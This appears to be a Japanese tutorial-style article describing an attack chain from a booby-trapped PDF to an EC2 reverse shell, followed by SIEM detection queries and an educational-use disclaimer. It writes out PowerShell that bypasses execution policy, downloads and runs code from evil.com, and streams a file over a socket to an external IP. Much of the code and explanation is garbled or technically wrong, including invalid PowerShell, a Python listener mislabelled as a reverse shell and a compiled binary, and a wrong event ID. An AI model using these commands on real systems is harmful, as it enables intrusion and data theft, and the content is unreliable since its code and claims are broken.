
無害なPDFファイルから始まり、AWS EC2インスタンス上でのリバースシェルに至る実用的なチェーン
無害なPDFファイルから始まり、AWS EC2インスタンス上でリバースシェルに至る実践的な攻撃チェーン
攻撃の最前線から始まります。PowerShellの組み込みWScriptオブジェクトを使用して、Windowsホストに配信されるPDF内にスクリプトを埋め込みます。ペイロードはリモートのHTTPエンドポイントから実行ファイルを取得し、それをローカルファイルシステムに書き込みます。
$payload = @"
var wsh = WScript.CreateObject("WScript.Shell");
wsh.Exec(
"powershell -NoProfile -ExecutionPolicy Bypass -Command "$ssh = new-Object System.Net.Sockets.TcpClient; $stream= $ssh.GetStream(); Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://evil.com/rcmd.py'); `
Get-Content -Path C:\Users\Admin\rcmd.py | Out-File -Encoding binary | % { $stream.Write($,0,$.Length) }"
"@
主な利点は、PDFに別途ダウンロードステップが不要なことです。PDFは直接PowerShellに引き渡され、PowerShellがチェーンの次のフェーズを起動します。
PDFのスクリプトがターゲットホスト(10.0.1.5)で実行されると、PowerShellを使用してEC2インスタンス(54.231.12.41)へのSMB接続を開き、新しくダウンロードした実行ファイルをそのソケット経由で転送します。同じコードはどのWindowsワークステーションからでも実行できるため、攻撃者に社内LAN内部の目立たないピボットポイントを提供します。
$ssh = New-Object System.Net.Sockets.TcpClient $ssh.Connect('54.231.12.41',445) $stream = $ssh.GetStream() Invoke-Expression ( New-Object System.Net.WebClient).DownloadString( 'https://evil.com/rcmd.py') Get-Content -Path C:\Users\Admin\rcmd.py | Out-File -Encoding binary | % { $stream.Write($,0,$.Length) }
SMBパケットは、Windows監査ログに標準イベント(EventID 4624)として表示されるため、ほとんどのSIEMダッシュボードで簡単に確認できます。
このチェーンの最後の要素は、Pythonで書かれた小さなリバースシェルです。EC2から同じホストへのSSH接続を待ち受け、コンソールにデバッグ行を出力してから終了します。rcmd.pyにコンパイルされると、上記のPowerShellステップによって自動的に実行されます。
#!/usr/bin/env python3 import socket
def main(): listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.bind(('0.0.0.0', 22)) listener.listen(1)
while True:
conn, _ = listener.accept()
data = conn.recv(1024)
print('[+] Received %d bytes' % len(data))
if name == 'main': main()
これはWindows上でネイティブに動作する静的バイナリであるため、ターゲットホストに追加のエージェントやサービスをインストールする必要はありません。
セキュリティチームは、侵害の可能性を想定し、多層的な検知戦略を構築すべきです。
**異常なトラフィック **
ターゲットホストからの異常に大きなSMBパケットをフィルタリングします。
index=siem_main sourcetype="netflow:smb" | where size > med(size) over last_week and host=="10.0.1.5" | stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
高いメモリ使用量
ターゲットホスト上で無視できないプロセスであることを示すためのバイナリのメモリ消費量
index=siem_main sourcetype="perf:memory" | where process=="rcmd.py" and mem > med(mem) over last_week and host=="10.0.1.5" | stats count by _time, eventID, host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
**時間外の稼働ウィンドウ **
レッドチームは、スクリプトが何らかの形でユーザーに警告する可能性を恐れて、通常は勤務時間内に実行しません。このクエリは、予期しない時間帯のトラフィックを調査します。
index=siem_main sourcetype="powershell:smbaudit" | where _time >= "2025-08-01 02:00" and _time <= "2025-08-01 04:00" | stats count by host | rename _time as "Timestamp", eventID as "Event ID", host as "Host"
このプロジェクトは教育および研究目的のみを意図しています。不正な環境でこれらの技術を使用しないでください。